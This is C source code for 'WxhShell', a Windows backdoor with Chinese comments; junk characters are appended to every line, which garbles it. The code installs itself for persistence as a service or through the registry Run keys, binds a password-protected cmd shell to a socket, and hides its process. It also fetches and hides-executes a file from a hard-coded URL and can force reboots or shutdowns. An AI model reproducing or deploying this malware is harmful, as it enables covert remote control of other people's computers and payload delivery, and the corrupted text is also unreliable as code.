    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); g5Dx9d{  
    if(Boot(SHUTDOWN)) -T?IkL)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); PNKT\yd  
    else { xu =B  
    closesocket(wsh); JY2 F-0t)  
    ExitThread(0); j''Iai_  
    } ? iX=2-  
    break; "Y!dn|3  
    } 4l''/$P  
  // 获取shell gDub+^ye>/  
  case 's': { -W_s]oBg  
    CmdShell(wsh); .Y|\7%(  
    closesocket(wsh); Oez}C,0  
    ExitThread(0); .m?~TOR  
    break; .( h$@|Y  
  } {^W,e ^:  
  // 退出 JP4Moq~r   
  case 'x': { XijLS7Aw|  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); V]]qu:Mh8  
    CloseIt(wsh); U!/nD~A  
    break; b8.%?_?  
    } YfwJBz D  
  // 离开 0s|LK  
  case 'q': { Qs9U&*L  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); rk/ c  
    closesocket(wsh); EYxRw  
    WSACleanup(); dz|*n'd  
    exit(1); pq3  A%|  
    break; wzPw; xuG  
        } = Y-Ne6a  
  } ?@?a}  
  } io{H$  x(  
R2aK5~   
  // 提示信息 Sx)Il~ x  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {z/^X<T  
} 9.zQ<k2  
  } B)]{]z0+`  
Z9m;@<%  
  return; 51 0XDl~b  
} A{I a21T7  
8 tygs  
// shell模块句柄 'd^gRH<z  
int CmdShell(SOCKET sock) 9JV 3  
{ EQJ_$6  
STARTUPINFO si; 0;v~5|r  
ZeroMemory(&si,sizeof(si)); 5 ek %d  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Sz|CreFK16  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; +.]}f}Y  
PROCESS_INFORMATION ProcessInfo; G}#/`]o!K  
char cmdline[]="cmd"; 7NB 9Vu|gD  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); I'9s=~VfY,  
  return 0; +M##mRD  
} [4Faq3T"  
@JEmybu  
// 自身启动模式 CQHp4_  
int StartFromService(void) PdH`_/6  
{ "&#W Mi  
typedef struct d^5SeCs6  
{ 4 l}M i  
  DWORD ExitStatus; BZ+ mO  
  DWORD PebBaseAddress; As~p1%nok  
  DWORD AffinityMask; P5}[*k%DQw  
  DWORD BasePriority; Q 95  
  ULONG UniqueProcessId; P%`R7yk  
  ULONG InheritedFromUniqueProcessId; \678Nx  
}   PROCESS_BASIC_INFORMATION; e( o/we{  
R96o8#7Uv  
PROCNTQSIP NtQueryInformationProcess; S"^KJUUc  
@B'8SLoP  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; U`9\P2D`/  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Gr"7w[|+  
GoSWH2N  
  HANDLE             hProcess; L%K_.!d^  
  PROCESS_BASIC_INFORMATION pbi; bepYeT  
[k~+(.2I  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ]Ec[")"kT  
  if(NULL == hInst ) return 0; I0HY#z%  
*_<*bhR<  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); gn W~KLqH  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); r.wIk0  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); N9=r#![>,  
2v9s@k/k)6  
  if (!NtQueryInformationProcess) return 0; K%c ATA3  
"56?/ jF  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); +Bq}>  
  if(!hProcess) return 0; ]X: rby$  
R_Gq8t$  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; HCjn9  
|/\U^AHm"h  
  CloseHandle(hProcess); S`c]Fc  
{#*?S>DA  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); `H2F0{\og  
if(hProcess==NULL) return 0; CoUd16*"JM  
@CaD8%j{  
HMODULE hMod; B~!G lT  
char procName[255]; ]tQDk4&i  
unsigned long cbNeeded; H@2v<e@  
V1`5D7Z  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); # HM\ a  
I4<{R  
  CloseHandle(hProcess); /s8%02S  
L_~I ~  
if(strstr(procName,"services")) return 1; // 以服务启动 e}R2J `7  
9O=05CQ  
  return 0; // 注册表启动 bmO__1  
} 3KG)6)1*  
4ljvoJ}xjr  
// 主模块 ]\a\6&R  
int StartWxhshell(LPSTR lpCmdLine) B) *#g  
{ }&(E#*>x  
  SOCKET wsl; h#@4@x{  
BOOL val=TRUE; Q Bfhyo_  
  int port=0; 64!ame}n+  
  struct sockaddr_in door; W\>^[c/  
I^M#[xA  
  if(wscfg.ws_autoins) Install();  bL'#  
4VmCW"b7h  
port=atoi(lpCmdLine); d7 gH3 l  
5S\][;u  
if(port<=0) port=wscfg.ws_port; wI@zPVY_i  
Tw}?(\ya  
  WSADATA data; D0#T-B\#  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; @7Rt4}g  
vz yNc'  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   FI`nRFq)C  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); (pE\nuA\  
  door.sin_family = AF_INET; T+K` ^xv_L  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); %;<k(5bhGJ  
  door.sin_port = htons(port); J\xz^%p  
Th~3mf #  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { -Ap2NpZ"t  
closesocket(wsl); ^fE\S5P  
return 1; # Z|%0r_~  
} !Bk[p/\  
V`g\ja*Y  
  if(listen(wsl,2) == INVALID_SOCKET) { =M1a0i|d  
closesocket(wsl); zj9bSDVL(  
return 1; QDjW!BsX3  
} q'%[[<  
  Wxhshell(wsl); yhSk"e'G  
  WSACleanup(); o\@ A2r3  
P&[Ft)`  
return 0; :jk)(=^  
mh A~eJ  
} 'ZGT`'ri  
hF{x')(#l  
// 以NT服务方式启动 d`?U!?Si  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) YW?7*go'Z  
{ {k_ PMl0G  
DWORD   status = 0; K2x6R  
  DWORD   specificError = 0xfffffff; d,Cz-.'sOf  
0a2$P+p  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 7m|`tjQ1  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; F@=e2e 4  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; }[>RxHd  
  serviceStatus.dwWin32ExitCode     = 0; 1P[I}GW#  
  serviceStatus.dwServiceSpecificExitCode = 0; 2 ?Pt Z  
  serviceStatus.dwCheckPoint       = 0; _=|nOj39  
  serviceStatus.dwWaitHint       = 0; _l24Ba$F6  
}g>dn  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); c y=I0  
  if (hServiceStatusHandle==0) return; Mvy6"Q:  
Bmx(qE  
status = GetLastError(); C<[d  
  if (status!=NO_ERROR) w8 ?Pb$Fe  
{ bGZ hUEq  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; C1X}3bB  
    serviceStatus.dwCheckPoint       = 0; d98))G~W  
    serviceStatus.dwWaitHint       = 0; r/mA2  
    serviceStatus.dwWin32ExitCode     = status; a&$Zpf!!  
    serviceStatus.dwServiceSpecificExitCode = specificError; 5nMkd/  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); h^o+E2<]  
    return; &K5C=]4  
  } uSABh ^  
DC?21[60  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; V*6l6-y~Ih  
  serviceStatus.dwCheckPoint       = 0; l;XU#6{  
  serviceStatus.dwWaitHint       = 0; $Cz1C  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 42b.7E  
} &u+yM D  
0M$#95n  
// 处理NT服务事件,比如:启动、停止 [NHg&R H  
VOID WINAPI NTServiceHandler(DWORD fdwControl) RDUT3H6~  
{ e1^fUOS  
switch(fdwControl) E:08%4O  
{ ?!bd!:(N  
case SERVICE_CONTROL_STOP: vC)"*wYB{  
  serviceStatus.dwWin32ExitCode = 0; X}zX`]:I'  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ~hS3*\^~M  
  serviceStatus.dwCheckPoint   = 0; ;Ay >+M2O  
  serviceStatus.dwWaitHint     = 0; ~ A^E  
  { G;2R]H#p  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); F;IP3tD  
  } mSU@UD|'  
  return; C-Nuy1o  
case SERVICE_CONTROL_PAUSE: SV$nyV  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; qq OxTG]  
  break; fA"<MslKLK  
case SERVICE_CONTROL_CONTINUE: -h>Z,-DE6  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; r0)JUc}Fyq  
  break; ! G*&4V3Mg  
case SERVICE_CONTROL_INTERROGATE: 1S+;ZMk  
  break; >F/XZ C  
}; x1t{SQ-C  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !cRfZ  
} 8{R&EijC  
j_!bT!8  
// 标准应用程序主函数 }TSgAwsbC  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) MVeF e\r  
{ Wt>J`  
x|.v{tQa  
// 获取操作系统版本 fx<FIj7  
OsIsNt=GetOsVer(); sB?2*S"X)<  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 8$\Za,)g  
znt)]>f#  
  // 从命令行安装 ?F ce!J  
  if(strpbrk(lpCmdLine,"iI")) Install(); RTK}mhnV  
9z #P  
  // 下载执行文件 +C'XS{K,#  
if(wscfg.ws_downexe) { t2"@Ps&1|  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) qv *3A?uzr  
  WinExec(wscfg.ws_filenam,SW_HIDE); 24/ /21m  
} XAkK:}h  
wAw42{M  
if(!OsIsNt) { Iha[G u  
// 如果时win9x,隐藏进程并且设置为注册表启动 ;xfO16fNk  
HideProc(); 3FFaEl  
StartWxhshell(lpCmdLine); (@+h5@J[`I  
} 1hR (N  
else yB.G=90  
  if(StartFromService()) IrJ+Jov  
  // 以服务方式启动 gdl| ^*tc  
  StartServiceCtrlDispatcher(DispatchTable); >L8?=>>?\  
else os[ZIHph  
  // 普通方式启动 L~IE,4  
  StartWxhshell(lpCmdLine); H#+\nT2m  
jk )Vb  
return 0; 3S5^ `Ag#  
} ZI,j?i6\  
y`4{!CEyLW  
;>DHD*3X  
 }<=3W5+  
=========================================== W]_g4,T>  
rOW;yJ[  
Kv}k*A% S  
%MN.O-Lc  
W@^J6sH  
O16r!6=-n  
" flP>@i:e6  
zDB" r  
#include <stdio.h> s D_G)c  
#include <string.h> |=O1Hn  
#include <windows.h> RAV^D.  
#include <winsock2.h> '@bJlJB9>  
#include <winsvc.h> H8&p<=  
#include <urlmon.h> A;,Dg=FL/  
L?8^aG  
#pragma comment (lib, "Ws2_32.lib") j9:/RJS  
#pragma comment (lib, "urlmon.lib") #1[z;Mk0  
*<IR9.~{6%  
#define MAX_USER   100 // 最大客户端连接数 p;0 PxL=  
#define BUF_SOCK   200 // sock buffer &iNS?1a%f=  
#define KEY_BUFF   255 // 输入 buffer gXt O*Rfqk  
h$pk<<  
#define REBOOT     0   // 重启 ys%zlbj[  
#define SHUTDOWN   1   // 关机 09d9S`cS\  
<#y*h8IZ@t  
#define DEF_PORT   5000 // 监听端口 wX0l?xdI  
_8^0!,j  
#define REG_LEN     16   // 注册表键长度 (0OM "`j  
#define SVC_LEN     80   // NT服务名长度 3V}(fnv  
9 6=Z"  
// 从dll定义API o&z!6"S<  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 3 CM^j<9  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); %G[/H.7s-  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); F;P5D<  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); hU" F;4p  
o\4CoeG  
// wxhshell配置信息 BxdX WO  
struct WSCFG { ?ok)>P  
  int ws_port;         // 监听端口 w>[T&0-N  
  char ws_passstr[REG_LEN]; // 口令 > H BJk:  
  int ws_autoins;       // 安装标记, 1=yes 0=no s]Gd-j  
  char ws_regname[REG_LEN]; // 注册表键名 &RW`W)0;  
  char ws_svcname[REG_LEN]; // 服务名 Efx=T$%^&  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 @}DFp`~5|  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 WL U}  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 a8Uk[^5  
int ws_downexe;       // 下载执行标记, 1=yes 0=no uE`r/=4  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" {q,?<zBzu  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Qdu$Os  
|9IC/C!HC  
};  )3%@9  
T@P!L  
// default Wxhshell configuration N*_"8LIfi_  
struct WSCFG wscfg={DEF_PORT, >b48>@~bY  
    "xuhuanlingzhe", SE)nD@:  
    1, ,q#2:b<E  
    "Wxhshell", l^W uS|G[  
    "Wxhshell", MQ`%``  
            "WxhShell Service", HCj> ,^<h  
    "Wrsky Windows CmdShell Service", mI"D(bx\  
    "Please Input Your Password: ", ^m%52Tm h  
  1, w"8V0z  
  "http://www.wrsky.com/wxhshell.exe", ~}Z'0W)Q`z  
  "Wxhshell.exe" %(<(Y  
    }; TQc@lR!  
xS8,W  
// 消息定义模块 _TUm$#@Y`  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; sbnjy"Z%  
char *msg_ws_prompt="\n\r? for help\n\r#>"; o=_c2m   
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; RlRs}yF  
char *msg_ws_ext="\n\rExit."; 3vW4<:Lgy  
char *msg_ws_end="\n\rQuit."; :q (&$  
char *msg_ws_boot="\n\rReboot..."; Kkv<"^H  
char *msg_ws_poff="\n\rShutdown..."; g^l RG3a  
char *msg_ws_down="\n\rSave to "; Ur!~<4GO  
g_aCHEFBv  
char *msg_ws_err="\n\rErr!"; vHcqEV|P/n  
char *msg_ws_ok="\n\rOK!"; 8(lR!!=q  
{^mKvc  
char ExeFile[MAX_PATH]; S6sq#kcH  
int nUser = 0; @AQwr#R"l  
HANDLE handles[MAX_USER]; e |V]  
int OsIsNt; %tmp  
(3;@^S4&w  
SERVICE_STATUS       serviceStatus; zzIr2so  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; e2w&&B-  
EzpFOqJG  
// 函数声明 5=L} \ankn  
int Install(void); %3o`j<  
int Uninstall(void); =&vFVIhWcf  
int DownloadFile(char *sURL, SOCKET wsh); q \O Ou  
int Boot(int flag); 3t" 4TjAy  
void HideProc(void); 6 BAW  
int GetOsVer(void); pC(sS0J  
int Wxhshell(SOCKET wsl); 6F|j(LB  
void TalkWithClient(void *cs); y1pu R7  
int CmdShell(SOCKET sock); .=c<>/ 0  
int StartFromService(void); *Y6xvib9*  
int StartWxhshell(LPSTR lpCmdLine); I7(?;MpI  
Vrkf(E3_V  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); , ZFE(  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); (= ;N{u  
8P2 J2IU  
// 数据结构和表定义 )Gk`[*q ;  
SERVICE_TABLE_ENTRY DispatchTable[] = s_Wyh !@M  
{ F9flSeN  
{wscfg.ws_svcname, NTServiceMain}, wtH~-xSB|  
{NULL, NULL} fU+Pn@'  
}; uQ/h'v  
l]6% lud8_  
// 自我安装 _}gtcyx  
int Install(void) nwmW.(R4  
{ GF$`BGW  
  char svExeFile[MAX_PATH]; x#H 3=YD*  
  HKEY key; ;\{`Ci\  
  strcpy(svExeFile,ExeFile); X+82[Y,mB.  
:iUF7P1I  
// 如果是win9x系统,修改注册表设为自启动 k'3Wt*i  
if(!OsIsNt) { s'\$t  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (gXN%rsY  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Vba.uKNjk  
  RegCloseKey(key); (zcLx;N  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1/Zh^foG  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,wAz^cK|  
  RegCloseKey(key); $}o b,i^W  
  return 0; sa&) #Z:  
    } 3tAU?sV!  
  } bt/ =Kq#  
} T+IF}4e d  
else { /)L 0`:I#  
;zH HIdQ>-  
// 如果是NT以上系统,安装为系统服务 _NZ@4+aW  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); `{Tk@A_yd  
if (schSCManager!=0) oBQm05x"  
{ ZH 6\><My  
  SC_HANDLE schService = CreateService l.+yn91%>  
  ( fV\]L4%  
  schSCManager, DN] v_u+}  
  wscfg.ws_svcname, )> a B  
  wscfg.ws_svcdisp, 5&!c7$K0  
  SERVICE_ALL_ACCESS, {XCf-{a]~  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , gm)@c2?.  
  SERVICE_AUTO_START, G }nO@  
  SERVICE_ERROR_NORMAL, t18$x "\4k  
  svExeFile, 9Ul(GI(  
  NULL, yxWO [ Z  
  NULL, ec3<%+0f  
  NULL, {*m?Kc7k  
  NULL, SPkn 3D6  
  NULL ipE ]}0q  
  ); <wd]D@l7r  
  if (schService!=0) +9;2xya2  
  { fS&6  
  CloseServiceHandle(schService); X[yNFW}S2W  
  CloseServiceHandle(schSCManager); na+d;h*~y  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 9i q""  
  strcat(svExeFile,wscfg.ws_svcname); #]Y>KX2HG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { mN_Z7n;^eh  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); c3TKl/  
  RegCloseKey(key); G&f8n  
  return 0; 4Y\wnwI  
    } <n"C,  
  } Nf41ZT~  
  CloseServiceHandle(schSCManager); ""iaGH+Cxw  
} Vr.Y/3N&'  
} K4ZolWbU  
0%`4px4J  
return 1; RW'nUL?_\  
} 07v!Zj  
l@Z6do  
// 自我卸载 ay )/q5  
int Uninstall(void) #U mF-c  
{ 5 `D-  
  HKEY key;  t+uE  
(qM j-l  
if(!OsIsNt) { ,M5}4E7L%s  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { r=.A'"Kf  
  RegDeleteValue(key,wscfg.ws_regname); O[@ q%&_  
  RegCloseKey(key); i]{1^pKq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { kS5_&#  
  RegDeleteValue(key,wscfg.ws_regname); :iWS\G^ U  
  RegCloseKey(key); fh8j2S9J  
  return 0; ~Ou1WnmO  
  } ,MPB/j^o5!  
} Gbpw5n;e  
} #]WqM1u  
else { !A3-0zN!  
bPK Ow<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); y] oaO+  
if (schSCManager!=0) aW_oD[l  
{ PUJ2`iP1^3  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); hB;VCg8  
  if (schService!=0) G"5D< ]  
  { +EXJ\wy  
  if(DeleteService(schService)!=0) { /UcV  
  CloseServiceHandle(schService); iSLGwTdLn  
  CloseServiceHandle(schSCManager); ,i9Byx#TN  
  return 0; @&F@I3`{  
  } {=2DqkTD  
  CloseServiceHandle(schService); G.Vu KsP]  
  } f_^1J  
  CloseServiceHandle(schSCManager); :'L2J  
} CbBSFKM  
} e>rRTN  
wBj-m  
return 1; uE/T2BX*  
} .0 )Y  
Yj|eji7y  
// 从指定url下载文件 Vgb *% I  
int DownloadFile(char *sURL, SOCKET wsh) inb^$v  
{ 2zSG&",2D  
  HRESULT hr; e1myH6$W  
char seps[]= "/"; %VJ85^B3  
char *token; R:-JkV>e:  
char *file; ZIR0PQh\  
char myURL[MAX_PATH]; P;[OWSR[d  
char myFILE[MAX_PATH]; 1F'1>Bu~  
WO5O?jo'  
strcpy(myURL,sURL); b3-e R5U/  
  token=strtok(myURL,seps); }TQ{`a@  
  while(token!=NULL) Am0{8 '  
  { Qhi '') Q  
    file=token; Y/<lWbj*A  
  token=strtok(NULL,seps); '+>fFM,*B  
  } F7L&=K$2y  
d6{Gt"  
GetCurrentDirectory(MAX_PATH,myFILE); f*{ YFg?*&  
strcat(myFILE, "\\"); sxKf&p;  
strcat(myFILE, file); ?^mi3VM  
  send(wsh,myFILE,strlen(myFILE),0); `nXVE+E@  
send(wsh,"...",3,0);  MTER(L  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); mP38T{  
  if(hr==S_OK) Jb)#fH$L  
return 0; hf/2vt m  
else *_Z#O,  
return 1; #ge)2  
\@3Qi8u//  
} 9Ya<My  
1 2++RkL#  
// 系统电源模块 up3O|lj4  
int Boot(int flag) -4rDbDsr  
{ kd:$oS_*s  
  HANDLE hToken; c3*t_!@oC  
  TOKEN_PRIVILEGES tkp; SKuIF*"! S  
)0vU k  
  if(OsIsNt) { _\PNr.D 8  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); o}Odw;  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); -4w=s|#.\  
    tkp.PrivilegeCount = 1; 87%*+n:?*  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; H7U li]e3  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); (6CN/A{qe  
if(flag==REBOOT) { M2x["  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) #*$P'r  
  return 0; (iJ1 ;x  
} 5J)=}e  
else { (BxJryXm  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) +MbIB&fRCB  
  return 0; 'bGX-C  
} > oA? 6x  
  } &C im!I  
  else { "\Egs)\  
if(flag==REBOOT) { )k&a}u5y  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) \~d";~Y`  
  return 0; V@7KsB  
} K3uG2g(>2  
else { oRKEJ Nps  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) KIA 2"KbjG  
  return 0; J89Dul l  
} @~<j&FTT  
} & gJV{V5Ay  
""Zp:8o  
return 1; ^J Z^>E~  
} \ \BCcr\l  
9YsR~SM  
// win9x进程隐藏模块 F62V 3 Xy  
void HideProc(void) IW8+_#d  
{ 7"7rmZ   
cYx4~V^  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ^_5L"F]sP  
  if ( hKernel != NULL ) ihh4pD27g  
  { Q9d`zR]  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); MS(JR  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); yKXff1^M  
    FreeLibrary(hKernel); e__@GBG  
  } Ftw;Yz  
l$K,#P<)  
return; AM"Nn L"  
} 4!asT;`'  
Q6o(']0  
// 获取操作系统版本 R1F5-#?'E  
int GetOsVer(void) {7!UQrm<  
{ /vY_Y3k#  
  OSVERSIONINFO winfo; !3mA 0-!+  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); I -Xlx<  
  GetVersionEx(&winfo); 6:U$w7P0 e  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) =ji1S}e~p  
  return 1; lP Lz@Up~  
  else _|72r} j  
  return 0; 2f U$J>Y  
} !zPG? q]3  
"dR |[a<#g  
// 客户端句柄模块 $M_x!f'{>  
int Wxhshell(SOCKET wsl) RH}A  
{ =X?\MVWB  
  SOCKET wsh; ) \Y7&  
  struct sockaddr_in client; i>EgG5iJ  
  DWORD myID;  hjO*~  
< B_Vc:Q  
  while(nUser<MAX_USER) 2([2Pb3<"  
{ &U+ _ -Ph  
  int nSize=sizeof(client); \BWyk A>  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); j1SMeDDM ~  
  if(wsh==INVALID_SOCKET) return 1; k5kdCC0FCk  
-(`OcGM'L  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); L=2y57&Y  
if(handles[nUser]==0) QDpEb=|S  
  closesocket(wsh); iv phlw  
else n~g)I&  
  nUser++; ]zO/A4  
  } :16P.z1L  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); T!wo2EzE  
Te2zK7:  
  return 0; < RCLI|  
} Rwr 2gMt7  
)s1Ib4C  
// 关闭 socket K:' q>D@  
void CloseIt(SOCKET wsh) }M1sksk5  
{ ZEYgK)^  
closesocket(wsh); |F.)zC5{  
nUser--; 7?B.0>$3>V  
ExitThread(0); o!:8nXw  
} @&D?e:|!U  
;> m"x  
// 客户端请求句柄 _U;eN|Ww  
void TalkWithClient(void *cs) &V|>dLT>A  
{ MNH1D! }  
Y(\T- bI  
  SOCKET wsh=(SOCKET)cs; )BfT7{WN  
  char pwd[SVC_LEN]; j)t+jcMUI  
  char cmd[KEY_BUFF]; Qb8KPpd  
char chr[1]; ZVeaTK4_ t  
int i,j; ZoKcJA  
~&\ f|%  
  while (nUser < MAX_USER) { a[lY S{  
R<i38/ ~G  
if(wscfg.ws_passstr) { 8Ld:"Y#  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); D>Gt]s  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !v]b(z`Y  
  //ZeroMemory(pwd,KEY_BUFF); pZ#ap<|>I  
      i=0; v/*Y#(X  
  while(i<SVC_LEN) { 2<mW\$  
sH[ -W-  
  // 设置超时 I\qYkWg7  
  fd_set FdRead; K[chjp!$l  
  struct timeval TimeOut; pT?Q#,fh  
  FD_ZERO(&FdRead); 0A{/B/r   
  FD_SET(wsh,&FdRead); #YDr%>j  
  TimeOut.tv_sec=8; nC {K$  
  TimeOut.tv_usec=0; g*w<*  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); K78rg/`  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); [ofqGwpDG  
#_mi `7!B#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); DF6c|  
  pwd=chr[0]; qS&%!  
  if(chr[0]==0xd || chr[0]==0xa) { r_EcMIuk  
  pwd=0; fw oQ' &  
  break; 8A{_GH{:  
  } qyHZ M}/  
  i++; nUq<TJ  
    } [![%9'+P  
kt4d; 4n  
  // 如果是非法用户,关闭 socket fF*`'i=!  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); =h(W4scgqX  
} h;5LgAY|v  
iJnU%  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); uP\lCqK,  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); iqnJ~g  
T]Nu)  
while(1) { ?^:h\C^a"  
&D%(~|'  
  ZeroMemory(cmd,KEY_BUFF); 0J.dG/I%  
zi~5l#I  
      // 自动支持客户端 telnet标准   ?S?2 0  
  j=0; }HEvr)v9  
  while(j<KEY_BUFF) { >zkRcm  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @pGZLq  
  cmd[j]=chr[0]; 7FN<iI&7\  
  if(chr[0]==0xa || chr[0]==0xd) { W4;m H}#0  
  cmd[j]=0; $3D'4\X~?  
  break; qH"Gm  
  } ]]}tdn_  
  j++; WWT",gio  
    } Gu=STb  
E{HY!L[  
  // 下载文件 EkT."K  
  if(strstr(cmd,"http://")) { 5unG#szq  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); g~UUP4<$"  
  if(DownloadFile(cmd,wsh)) 4h6k`ie!$  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5 ,0d  
  else  s95vK7I  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +7Kyyu)y@  
  } zF4[}*  
  else { ,fEO> i  
Z -%(~  
